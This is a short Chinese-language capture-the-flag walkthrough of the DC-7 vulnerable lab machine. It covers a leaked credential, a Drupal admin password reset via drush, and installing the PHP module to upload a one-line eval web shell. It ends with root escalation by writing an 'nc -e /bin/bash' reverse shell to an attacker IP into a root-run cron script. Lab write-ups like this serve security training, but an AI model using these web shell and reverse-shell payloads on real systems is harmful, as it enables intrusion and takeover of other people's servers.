dc7靶机攻略

dc7

扫描

渗透

dc7首页上去就是一个提示，跳脱常规思维

首页有个搜索框，尝试利用没成功

观察，只有首页右下角有个dc7user不知道是啥，拿去搜一下

在php配置文件中发现账号密码

dc7user:MdR3xOgB7#dW

尝试网页登录失败，然后试试ssh成功

backups里发现gpg加密文件

此处貌似无法使用gpg解密

初次之外还发现一个计划任务文件

想利用这个，但是权限不足不能编写，只有root和www-data可以修改，直接执行没有意义

执行文件/opt/scripts/backups.sh，看一看内容

虽然不能直接利用，但是发现它用来drush指令

drush一般用来操作drupal，刚好靶机用的这个

进入可以进行操作的目录下/var/www/html

执行代码修改admin的密码

drush user-password admin --password=123456

成功使用admin登录后台

发现该处有上传文件的位置

到此处选择格式，并没有php，那也就无法执行一句话木马

上网查询找到可以安装php的方法，找到manage-extend

输入php模块包的url安装

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

完成后选择启用新的添加模块

找到php的勾选上

然后翻到最底下install

然后回去写入一句话木马

<?php @eval($_POST["cmd"]);?>

上传成功使用蚁剑连接

然后反弹shell到kali

提权

刚才找到的脚本文件有修改权限的是root和www-data，而此处刚好是www-data用户

于是去编辑刚才那个脚本文件

/opt/scripts/backups.sh

该文件在任务中会被以root的身份执行，因此只需要像其中写反弹shell即可获取root的shell

echo "nc -e /bin/bash 10.4.7.138 6789" > backups.sh

等了许久连接成功

flag在老地方